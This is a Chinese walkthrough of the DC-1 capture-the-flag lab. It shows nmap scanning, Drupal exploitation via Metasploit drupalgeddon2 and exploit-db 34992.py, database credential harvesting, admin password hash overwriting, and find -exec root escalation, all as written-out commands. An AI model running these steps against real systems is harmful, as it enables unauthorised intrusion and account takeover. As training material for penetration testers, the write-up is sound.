DC-1
DC-1
网段:192.168.174.0/24
本靶场环境总共有5个flag
1.信息收集
1.1. 主机发现
nmap -sn 192.168.174.0/24 |
得到目标IP:192.168.174.145
kali的IP:192.168.174.137
1.2. 扫描端口和服务
sudo nmap -T4 -sV -O -A -p- 192.168.174.145 |
PORT STATE SERVICE VERSION |
- 22算口,开放了ssh服务,OpenSSH 6.0p1
- 80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
- 111端口,开放了rpcbind服务
补充知识:Drupal由php语言编写的cms,rpcbind是NFS中用来进行消息通知的服务
1.3. 访问目标页面
可以看到是一个登陆界面,可能存在sql注入漏洞或弱口令,
1.4. 利用MSF渗透
MSF简单指令 |
1.4.1. 搜索Drupal 7的漏洞
searchsploit Drupa 7 |
可以发现能利用的漏洞非常多
1.4.2. 进入MSF控制台搜索drupal模块
1.4.3. 选择模块进行测试
用2018的试试
use exploit/unix/webapp/drupal_drupalgeddon2 |
1.4.4 设置靶机IP运行msf
set rhosts 192.168.174.145 |
1.4.5 进入shell
但不是root权限,不妨先find一下flag问价
find / -iname "*flag*" |
有点多,先把带txt的过滤出来
先找一下这三个
可以看到其中只有flag1.txt是我们能访问的
cat /var/www/flag1.txt |
通过这个线索我们可以区找一下这个cms的配置文件,但这个界面确实不怎么好看,使用python反弹一个交互式shell TTY。
python -c 'import pty;pty.spawn("/bin/bash") |
搜索发现drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。
去看一下能不能看到这个文件的信息
可以看到数据库的账号密码,英文意思如下
爆破攻击和字典攻击不是 |
登陆数据库
Drupal框架默认的用户表就是users表
mysql -u dbuser -pR0ck3t |
发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。
这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。
方法一重置密码
不知道为什么我用这个会报错说文件包含
www-data@DC-1:/var/www$ php ./scripts/password-hash.sh 123456 |
原来要在根目录下使用
在指定目录下执行脚本是为了确保脚本能够正确加载所需的文件和依赖项。在Drupal中,脚本需要包含Drupal的核心文件和库才能生成正确的密码哈希。一般情况下,Drupal的根目录包含index.php
文件和sites
目录。
得到后,再把他写入数据库中
mysql -h是MySQL命令行客户端中的参数,用于指定要连接的MySQL服务器的主机名或IP地址。在命令行中,-h后面可以跟上要连接的MySQL服务器的主机名或IP地址。
mysql -h localhost -u dbuser -pR0ck3t |
然后把密码写如user表
update users set pass="$S$D4xwucG8/pjZ3bY0Kbes7oTkR8SS8JttMWCI.FpOhtNmSYDcCqxa" where name="admin"; |
方法二,利用漏洞添加admin用户
但有版本要求,所以我们需要先查看drupal的版本
cat /var/www/includes/bootstrap.inc | grep VERSION |
7.21是可以利用该漏洞的
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.174.145 -u youzipii -p 123123 |
可以看到也登陆进来了
1.4.6 flag3
翻译一下:特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容
别人说很明显的提示:find+perms+exec 命令用来提权
1.4.7 flag4
根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。
注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:
切换到home目录寻找flag4相关文件,并尝试查看。
提示最后flag in root下面。
1.4.8 提权+获得最终flag
下面就是提权了
根据flag3中的提示,使用“-exec”提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解。
1. find ./ acce -exec '/bin/sh' \; |
访问最后一个flag